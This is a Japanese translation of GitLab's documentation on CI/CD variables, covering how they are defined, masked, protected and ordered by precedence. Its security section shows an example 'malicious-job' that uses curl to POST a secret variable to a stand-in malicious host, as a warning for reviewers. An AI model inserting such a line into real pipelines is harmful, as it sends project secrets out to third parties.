GitLab CI/CD変数
- プラン: Free、Premium、Ultimate
- 提供形態: GitLab.com、GitLab Self-Managed、GitLab Dedicated
CI/CD変数は、環境変数の一種です。これらを使用して、以下を実行できます。
- ジョブとパイプラインの動作を制御します。
- ジョブスクリプト内などで再利用したい値を保存する。
.gitlab-ci.ymlファイルで値をハードコードすることを回避する。
変数名は、スクリプトを実行する際にRunnerが使用するShellによって制限されます。各Shellには、予約済みの変数名の独自のセットがあります。
一環した動作を確保するには、変数値を常に単一引用符または二重引用符で囲む必要があります。変数は内部的にPsych YAMLパーサーによって解析されるため、引用符で囲まれた変数と引用符で囲まれていない変数は異なる方法で解析される可能性があります。たとえば、VAR1: 012345は8進数値として解釈されるため、値は5349になりますが、VAR1: "012345"は文字列として解析され、値は012345になります。
GitLab CI/CDの高度な使用法の詳細については、GitLabエンジニアが共有する7つの高度なGitLab CIワークフローハックを参照してください。
定義済みCI/CD変数
GitLab CI/CDでは、パイプライン設定およびジョブスクリプトで使用できる定義済みCI/CD変数のセットが用意されています。これらの変数には、パイプラインがトリガーされたり実行されたりするときに必要になる可能性のある、ジョブ、パイプライン、およびその他の値に関する情報が含まれています。
定義済みCI/CD変数は、事前に宣言しなくても.gitlab-ci.ymlで使用できます。例:
job1:
stage: test
script:
- echo "The job's stage is '$CI_JOB_STAGE'"この例のスクリプトは、The job's stage is 'test'を出力します。
.gitlab-ci.ymlファイルでCI/CD変数を定義する
.gitlab-ci.ymlファイルでCI/CD変数を作成するには、variablesキーワードを使用して変数と値を定義します。
.gitlab-ci.ymlファイルに保存された変数は、リポジトリへのアクセス権を持つすべてのユー��ーに表示されるため、機密性の低いプロジェクト設定のみを保存する必要があります。たとえば、DATABASE_URL変数に保存されているデータベースのURLなどです。シークレットやキーなどの値を含む機密情報は、UIで追加する必要があり���す。
variablesは以下で定義できます。
- ジョブ内: 変数は、そのジョブの
script、before_script、またはafter_scriptセクション、および一部のジョブキーワードでのみ使用できます。 .gitlab-ci.ymlファイルのトップレベル: 変数はパイプライン内のすべてのジョブのデフォルトとして使用できます。ただし、ジョブが同じ名前の変数を定義する場合は除きます。その場合は、ジョブの変数が優先されます。
どちらの場合も、これらの変数をグローバルキーワードと一緒に使用することはできません。
例:
variables:
ALL_JOBS_VAR: "A default variable"
job1:
variables:
JOB1_VAR: "Job 1 variable"
script:
- echo "Variables are '$ALL_JOBS_VAR' and '$JOB1_VAR'"
job2:
variables:
ALL_JOBS_VAR: "Different value than default"
JOB2_VAR: "Job 2 variable"
script:
- echo "Variables are '$ALL_JOBS_VAR', '$JOB2_VAR', and '$JOB1_VAR'"この例では:
job1の出力:Variables are 'A default variable' and 'Job 1 variable'job2の出力:Variables are 'Different value than default', 'Job 2 variable', and ''
手動でパイプラインをトリガーするための事前入力される変数を定義するには、valueおよびdescriptionキーワードを使用します。
単一ジョブでデフォルト変数をスキップする
ジョブでデフォルト変数を使用しない場合は、variablesを{}に設定します。
variables:
DEFAULT_VAR: "A default variable"
job1:
variables: {}
script:
- echo This job does not need any variablesUIでCI/CD変数を定義する
トークンやパスワードのような機密情報は、UIの設定に保存し、.gitlab-ci.ymlファイルには保存しないでください。
デフォルトでは、フォークされたプロジェクトからのパイプラインは、親プロジェクトで使用できるCI/CD変数にアクセスできません。フォークからのマージリクエストに対して親プロジェクトでマージリクエストパイプラインを実行すると、すべての変数がパイプラインで使用可能になります。
プロジェクトの場合
CI/CD変数をプロジェクトの設定に追加できます。プロジェクトごとに最大8000個のCI/CD変数を設定できます。
前提条件:
- メンテナーロールを持つプロジェクトメンバーである必要があります。
プロジェクトの設定で変数を追加または更新するには、次の手順に従います。
- 上部のバーで、検索または移動先を選択して、プロジェクトを見つけます。
- 設定 > CI/CDを選択します。
- 変数を展開します。
- 変数を追加を選択し、詳細を入力します。
- キー: 英数字または
_のみを使用し、スペースを含めず1行で指定する必要があります。 - 値: 値は10,000文字に制限されていますが、Runnerのオペレーティングシステムの制限も適用されます。表示レベルがマスクするまたはマスクして非表示に設定されている場合、値には追加の制限があります。
- タイプ:
Variable(デフォルト)またはFile。 - 環境範囲: (オプション)すべて (デフォルト) (
*)、特定の環境、またはワイルドカードのスコープ。 - 変数の保護: オプション。選択した場合、変数は保護ブランチまたは保護タグで実行されるパイプラインでのみ利用可能です。
- 表示レベル: 表示、マスクする (デフォルト)、またはマスクして非表示を選択します。
- 変数参照を展開: (オプション)選択した場合、変数は別の変数を参照できます。表示レベルがマスクするまたはマスクして非表示に設定されている場合、別の変数を参照することはできません。
- キー: 英数字または
または、APIを使用してプロジェクト変数を追加することもできます。
グループの場合
グループ内のすべてのプロジェクトでCI/CD変数を使用可能にできます。グループごとに最大30000個のCI/CD変数を設定できます。
前提条件:
- オーナーロールを持つグループメンバーである必要があります。
グループ変数を追加するには、次の手順に従います。
- トップバーで検索または移動先を選択し、グループを見つけます。
- 設定 > CI/CDを選択します。
- 変数を展開します。
- 変数を追加を選択し、詳細を入力します。
- キー: 英数字または
_のみを使用し、スペースを含めず1行で指定する必要があります。 - 値: 値は10,000文字に制限されていますが、Runnerのオペレーティングシステムの制限も適用されます。表示レベルがマスクするまたはマスクして非表示に設定されている場合、値には追加の制限があります。
- タイプ:
Variable(デフォルト)またはFile。 - 変数の保護: オプション。選択した場合、変数は保護ブランチまたは保護タグで実行されるパイプラインでのみ利用可能です。
- 表示レベル: 表示、マスクする (デフォルト)、マスクして非表示を選択します。
- 変数参照を展開: (オプション)選択した場合、変数は別の変数を参照できます。表示レベルがマスクするまたはマスクして非表示に設定されている場合、別の変数を参照することはできません。
- キー: 英数字または
プロジェクトで利用可能なグループ変数は、プロジェクトの設定 > CI/CD > 変数セクションにリストされています。サブグループからの変数は再帰的に継承されます。
または、APIを使用してグループ変数を追加することもできます。
環境範囲
- プラン: Premium、Ultimate
特定の環境でのみ使用できるグループレベルのCI/CD変数を設定するには、次の手順に従います。
- トップバーで検索または移動先を選択し、グループを見つけます。
- 設定 > CI/CDを選択します。
- 変数を展開します。
- 変数の右側にある編集( )を選択します。
- 環境スコープには、すべて (デフォルト) (
*)、特定の環境、またはワイルドカードの環境スコープを選択します。
インスタンスの場合
- プラン: Free、Premium、Ultimate
- 提供形態: GitLab Self-Managed、GitLab Dedicated
GitLabインスタンス内のすべてのプロジェクトとグループでCI/CD変数を使用可能にできます。
前提条件:
- インスタンスへの管理者アクセス権が必要です。
インスタンス変数を追加するには、次の手順に従います。
- 右上隅で、管理者を選択します。
- 設定 > CI/CDを選択します。
- 変数を展開します。
- 変数を追加を選択し、詳細を入力します。
- キー: 英数字または
_のみを使用し、スペースを含めず1行で指定する必要があります。 - 値: 値は10,000文字に制限されていますが、Runnerのオペレーティングシステムの制限も適用されます。表示レベルが表示に設定されている場合、他の制限はありません。
- タイプ:
Variable(デフォルト) またはFile。 - 変数の保護: オプション。選択した場合、変数は保護ブランチまたはタグで実行されるパイプラインでのみ利用可能です。
- 表示レベル: 表示、マスクする (デフォルト)、またはマスクして非表示を選択します。
- 変数参照を展開: (オプション)選択した場合、変数は別の変数を参照できます。表示レベルがマスクするまたはマスクして非表示に設定されている場合、別の変数を参照することはできません。
- キー: 英数字または
または、APIを使用してインスタンス変数を追加することもできます。
CI/CD変数のセキュリティ
.gitlab-ci.ymlファイルにプッシュされたコードは、変数のセキュリティを侵害する可能性があります。変数がジョブログで誤って公開されたり、悪意を持ってサードパーティのサーバーに送信されたりする可能性があります。
次の操作を行う前に、.gitlab-ci.ymlファイルに変更を加えるすべてのマージリクエストを確認してください。
ファイルを追加したり、パイプラインを実行したりする前に、インポートされたプロジェクトの.gitlab-ci.ymlファイルを確認してください。
次の例は、.gitlab-ci.ymlファイル内の悪意のあるコードを示しています。
accidental-leak-job:
script: # Password exposed accidentally
- echo "This script logs into the DB with $USER $PASSWORD"
- db-login $USER $PASSWORD
malicious-job:
script: # Secret exposed maliciously
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"accidental-leak-jobのようなスクリプトを通じてシークレットが誤って漏洩するリスクを低減するため、機密情報を含むすべての変数は、常にジョブログでマスクする必要があります。変数を保護ブランチと保護タグのみに制限することもできます。
または、外部シークレット管理プロバイダーと接続してシークレットを保存および取得することもできます。
malicious-jobのような悪意のあるスクリプトは、レビュープロセス中に発見する必要があります。レビュアーは、このようなコードを見つけた場合、決してパイプラインをトリガーしてはいけません。悪意のあるコードによって、マスクされた変数と保護された変数の両方が漏洩する可能性があるためです。
変数の値はaes-256-cbcを使用して暗号化され、データベースに保存されます。このデータは、有効なシークレットファイルを使用して読み取り、復号化することができます。
CI/CD変数をマスクする
CI/CD変数をプロジェクト、グループ、またはインスタンスに対してマスクすることで、その値がジョブログに表示されるのを防ぐことができます。ジョブがマスクされた変数の値を出力すると、ジョブログでは値が[MASKED]に置き換えられます。場合によっては、[MASKED]の値の後にx文字が続くこともあります。
前提条件:
- UIでCI/CD変数を追加するために必要なのと同じロールまたはアクセスレベルが必要です。
変数をマスクするには、次の手順に従います。
- グループ、プロジェクト、または管理者で、設定 > CI/CDを選択します。
- 変数を展開します。
- 保護したい変数の横にある編集を選択します。
- 可視化で、変数をマスクを選択します。
- 推奨。変数参照を展開チェックボックスをオフにします。変数の展開が有効になっている場合、変数値で使用できる非英数字は、
_、:、@、-、+、.、~、=、/、および~のみです。設定が無効になっている場合、すべての文字を使用できます。 - 変数を更新を選択します。
変数の値は、以下である必要があります。
- スペースなしの単一行。
- 8文字以上。
- 既存の定義済みまたはカスタムCI/CD変数の名前と一致しない。
プロセスが値をわずかに変更して出力する場合、その値はマスクすることができません。たとえば、Shellが特殊文字をエスケープするために\を追加する場合、その値はマスクするされません:
- マスクされた変数の例:
My[value] - この出力はマスクするされません:
My\[value\]
CI_DEBUG_SERVICESが有効になっている場合、変数値が公開される可能性があります。詳細については、サービスコンテナのログ記録を参照してください。
CI/CD変数を非表示にする
マスキングに加えて、CI/CDの設定ページでCI/CD変数の値を表示されないようにすることもできます。変数を非表示にできるのは、新しい変数を作成するときのみです。既存の変数を更新して非表示にすることはできません。
前提条件:
- UIでCI/CD変数を追加するために必要なのと同じロールまたはアクセスレベルが必要です。
- 変数の値が、マスクされた変数の要件を満たしている必要があります。
変数を非表示にするには、UIで新しいCI/CD変数を追加するときに、可視化セクションでマスクして非表示を選択します。変数を保存すると、その変数はCI/CDパイプラインで使用できますが、UIで再度表示することはできません。
CI/CD変数を保護する
保護ブランチまたは保護タグで実行されるパイプラインでのみ使用可能になるよう、プロジェクト、グループ、またはインスタンスのCI/CD変数を設定できます。
マージ結果パイプラインとマージリクエストパイプラインは、オプションで保護された変数にアクセスできます。
前提条件:
- UIでCI/CD変数を追加するために必要なのと同じロールまたはアクセスレベルが必要です。
変数の保護を設定するには、次の手順に従います。
- プロジェクトまたはグループで、設定 > CI/CDに移動します。
- 変数を展開します。
- 保護したい変数の横にある編集を選択します。
- 変数の保護チェックボックスをオンにします。
- 変数を更新を選択します。
この変数は、後続のすべてのパイプラインで使用できます。
ファイルタイプのCI/CD変数を使用する
すべての定義済みCI/CD変数と.gitlab-ci.ymlファイルで定義された変数は、「変数」タイプ(APIでは"variable_type": "env_var")です。
変数タイプの変数には次の特徴があります。
- キーと値のペアで構成されます。
- ジョブ内で環境変数として使用でき、その際は次のようになります。
- CI/CD変数キーは環境変数名として扱われる。
- CI/CD変数値は環境変数値として扱われる。
プロジェクト、グループ、およびインスタンスCI/CD変数はデフォルトで「変数」タイプですが、オプションで「ファイル」タイプ(APIでは"variable_type": "file")として設定できます。ファイルタイプの変数には次の特徴があります。
- キー、値、ファイルで構成されます。
- ジョブ内で環境変数として使用でき、その際は次のようになります。
- CI/CD変数キーは環境変数名として扱われる。
- CI/CD変数値は一時ファイルに保存される。
- その一時ファイルのパスは環境変数値として扱われる。
ファイルを入力として必要とするツールには、ファイルタイプのCI/CD変数を使用します。
たとえば、AWS CLIとkubectlは両方ともFileタイプの変数を設定に使用するツールです。kubectlを以下と共に使用する場合:
- キーが
KUBE_URL、値がhttps://example.comの変数。 - キーが
KUBE_CA_PEM、値が証明書のファイルタイプの変数。
この場合、変数を受け付ける--serverオプションにはKUBE_URLを渡し、ファイルのパスを受け付ける--certificate-authorityオプションには$KUBE_CA_PEMを渡します。
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM".gitlab-ci.yml変数をファイルタイプ変数として使用する
.gitlab-ci.ymlファイルで定義されたCI/CD変数をファイルタイプ変数として設定することはできません。入力としてファイルパスを必要とするツールで、.gitlab-ci.ymlで定義された変数を使用したい場合:
- 変数の値をファイルに保存するコマンドを実行します。
- ツールでそのファイルを使用します。
例:
variables:
SITE_URL: "https://gitlab.example.com"
job:
script:
- echo "$SITE_URL" > "site-url.txt"
- mytool --url-file="site-url.txt"CI/CD変数の展開を許可する
変数を$文字を含む値を別の変数への参照として扱うように設定できます。パイプラインが実行されると、参照��展開され、参照された変数の値が使用されます。
UIで定義されたCI/CD変数は、デフォルトでは展開されません。.gitlab-ci.ymlファイルで定義されたCI/CD変数の場合、variables:expandキーワードで変数の展開を制御します。
前提条件:
- UIでCI/CD変数を追加するために必要なのと同じロールまたはアクセスレベルが必要です。
変数の展開を有効にするには:
- プロジェクトまたはグループで、設定 > CI/CDに移動します。
- 変数を展開します。
- 展開したくない変数の横にある編集を選択します。
- 変数参照を展開チェックボックスを選択します。
- 変数を更新を選択します。
変数の展開を使用する場合は、変数値をマスクするさないでください。マスクすると変数の展開を両方組み合わせると、文字の制限により、他の変数を参照するために$を使用することができなくなります。
CI/CD変数の優先順位
異なる場所で同じ名前のCI/CD変数を使用できますが、値が相互に上書きされる可能性があります。変数のタイプと定義されている場所によって、どの変数が優先されるかが決まります。
変数の優先順位は次のとおりです(高いものから低いものへ)。
- パイプライン実行ポリシー変数。
- スキャン実行ポリシー変数。
- パイプライン変数。以下の変数の優先順位はすべて同じです。
- ダウンストリームパイプラインに渡される変数。
- トリガー変数。
- スケジュールされたパイプライン変数。
- 手動パイプライン変数。
- APIでパイプラインを作成する際に追加された変数。
- 手動ジョブ変数。
- プロジェクト変数。
- グループ変数。グループとそのサブグループに同じ変数名が存在する場合、ジョブは最も近いサブグループの値を使用します。たとえば、
Group > Subgroup 1 > Subgroup 2 > Projectがある場合、Subgroup 2で定義された変数が優先されます。 - インスタンス変数。
dotenvレポートからの変数。.gitlab-ci.ymlファイルのジョブで定義されたジョブ変数。.gitlab-ci.ymlファイルのトップレベルで定義された、すべてのジョブのデフォルト変数。- デプロイ変数。
- 定義済み変数。
例:
variables:
API_TOKEN: "default"
job1:
variables:
API_TOKEN: "secure"
script:
- echo "The variable is '$API_TOKEN'"この例では、job1はThe variable is 'secure'を出力します。.gitlab-ci.ymlファイル内のジョブで定義された変数は、デフォルト変数よりも優先順位が高いためです。
パイプライン変数を使用する
パイプライン変数とは、新しいパイプラインの実行時に指定する変数です。
GitLab 17.7以降では、パイプライン変数を渡すよりもパイプラインへの入力を推奨しています。セキュリティを強化するには、インプットを使用する際にパイプライン変数を無効にする必要があります。
前提条件:
- プロジェクトでデベロッパーロールを持っている必要があります。
次の場合にパイプライン変数を指定できます。
- UIでパイプラインを手動で実行する。
- スケジュールされたパイプラインを作成します。
pipelinesAPIエンドポイントを使用してパイプラインを作成する。triggersAPIエンドポイントを使用してパイプラインを作成する。- プッシュオプションを使用する。
variablesキーワード、trigger:forwardキーワード、またはdotenv変数のいずれかを使用して、ダウンストリームパイプラインに変数を渡す。
これらの変数は優先順位が高く、定義済み変数を含む他の定義された変数をオーバーライドできます。
ほとんどの場合、定義済み変数をオーバーライドすることは避けてください。予期せぬパイプラインの動作を引き起こす可能性があります。
パイプライン変数を制限する
パイプライン変数を使用してパイプラインを実行できるユーザーを特定のユーザーロールに制限できます。より低いロールのユーザーがパイプライン変数を使用しようとすると、Insufficient permissions to set pipeline variables(パイプライン変数を設定する権限がありません)というエラーメッセージが表示されます。
前提条件:
- プロジェクトでメンテナーロールを持っている必要があります。最小ロールが以前に
ownerまたはno_one_allowedに設定されていた場合は、プロジェクトのオーナーロールを持っている必要があります。
パイプライン変数の使用をメンテナー以上のロールを持つユーザーのみに制限するには、次の手順に従います。
- 設定 > CI/CD > 変数に移動します。
- パイプライン変数が使用できる最小ロールで、次のいずれかを選択します。
no_one_allowed: パイプライン変数を使用して実行できるパイプラインはありません。GitLab.comでは、新しいネームスペースにおける新しいプロジェクトのデフォルトです。owner: オーナーロールを持つユーザーのみが、パイプライン変数を使用してパイプラインを実行できます。この設定をこの値に変更するには、プロジェクトのオーナーロールが必要です。maintainer: メンテナーまたはオーナーロールを持つユーザーのみが、パイプライン変数を使用してパイプラインを実行できます。GitLab Self-ManagedおよびGitLab Dedicatedで、指定されていない場合のデフォルトです。developer: デベロッパー、メンテナー、またはオーナーロールを持つユーザーのみが、パイプライン変数を使用してパイプラインを実行できます。
プロジェクトAPIを使用して、ci_pipeline_variables_minimum_override_role設定のロールを設定することもできます。
この制限は、プロジェクトまたはグループの設定で定義されたCI/CD変数の使用には影響しません。ほとんどのジョブでは、YAML設定でvariablesキーワードを使用できますが、triggerキーワードを使用してダウンストリームパイプラインをトリガーするジョブでは使用できません。トリガージョブは、変数をパイプライン変数としてダウンストリームパイプラインに渡します。この変数の受け渡しも、同じ設定によって制御されます。
複数のプロジェクトに対するパイプライン変数の制限を有効にする
多くのプロジェクトを持つグループの場合、現在パイプライン変数を使用していないすべてのプロジェクトで、パイプライン変数を無効にできます。このオプションは、パイプライン変数を一度も使用したことのないプロジェクトに対して、パイプライン変数が使用できる最小ロール設定をno_one_allowedに設定します。
前提条件:
- グループのオーナーロールを持っていること。
グループ内のプロジェクトでパイプライン変数制限設定を有効にするには:
- トップバーで検索または移動先を選択し、グループを見つけます。
- 設定 > CI/CDを選択します。
- 変数を展開します。
- パイプライン変数を使用していないプロジェクトで、パイプライン変数を無効にするセクションで、マイグレーションの開始を選択します。
移行はバックグラウンドで実行されます。移行が完了すると、メール通知が届きます。プロジェクトのメンテナーは、必要に応じて後で個々のプロジェクトの設定を変更できます。
変数をエクスポートする
個別のShellコンテキストで実行されるスクリプトは、エクスポート、エイリアス、ローカル関数定義、またはその他のローカルShellの更新を共有しません。
これは、ジョブが失敗した場合、ユーザー定義スクリプトによって作成された変数がエクスポートされないことを意味します。
Runnerが.gitlab-ci.ymlで定義されたジョブを実行する場合:
before_scriptおよびmainスクリプトで指定されたスクリプトは、単一のShellコンテキストで一緒に実行され、連結されます。after_scriptで指定されたスクリプトは、before_scriptおよび指定されたスクリプトとは完全に別のShellコンテキストで実行されます。
スクリプトが実行されるShellに関係なく、Runnerの出力には以下が含まれます。
- 定義済み変数。
- 以下で定義された変数:
- インスタンス、グループ、またはプロジェク��のCI/CD設定。
.gitlab-ci.ymlファイルのvariables:セクション。.gitlab-ci.ymlファイルのsecrets:セクション。config.toml。
Runnerは、export MY_VARIABLE=1のようなスクリプトの本文で実行される手動エクスポート、Shellエイリアス、および関数を処理できません。
たとえば、次の.gitlab-ci.ymlファイルでは、次のスクリプトが定義されています。
job:
variables:
JOB_DEFINED_VARIABLE: "job variable"
before_script:
- echo "This is the 'before_script' script"
- export MY_VARIABLE="variable"
script:
- echo "This is the 'script' script"
- echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
- echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
- echo "MY_VARIABLE's value is ${MY_VARIABLE}"
after_script:
- echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
- echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
- echo "MY_VARIABLE's value is ${MY_VARIABLE}"Runnerがこのジョブを実行すると:
before_scriptが実行されます。- 出力に表示します。
MY_VARIABLEの変数を定義します。
scriptが実行されます。- 出力に表示します。
JOB_DEFINED_VARIABLEの値を表示します。CI_COMMIT_SHAの値を表示します。MY_VARIABLEの値を表示します。
after_scriptは、新しい、別のShellコンテキストで実行されます。- 出力に表示します。
JOB_DEFINED_VARIABLEの値を表示します。CI_COMMIT_SHAの値を表示します。MY_VARIABLEの値を空として表示します。これは、after_scriptがbefore_scriptとは別のShellコンテキストにあるため、変数の値を検出できないからです。
関連トピック
実行中のアプリケーションにCI/CD変数を渡すようにAuto DevOpsを設定できます。実行中のアプリケーションのコンテナで、CI/CD変数を環境変数として使用できるようにするには、変数キーのプレフィックスを
K8S_SECRET_にします。Managing the Complex Configuration Data Management Monster Using GitLab(GitLabを活用した複雑な設定データ管理への取り組み)動画は、Complex Configuration Data Monorepo(複雑な設定データのモノレポ)の実践例プロジェクトをわかりやすく解説したものです。この動画では、複数階層のグループCI/CD変数と環境ごとにスコープされたプロジェクト変数を組み合わせることで、アプリケーションの複雑なビルドやデプロイの設定をどのように実現できるかを説明しています。
この例は、自分のグループまたはインスタンスにコピーしてテストできます。他のGitLab CIパターンのデモの詳細については、プロジェクトページをご覧ください。
CI/CD変数をダウンストリームパイプラインに渡すことができます。
trigger:forwardキーワードを使用して、ダウンストリームパイプラインに渡す変数のタイプを指定します。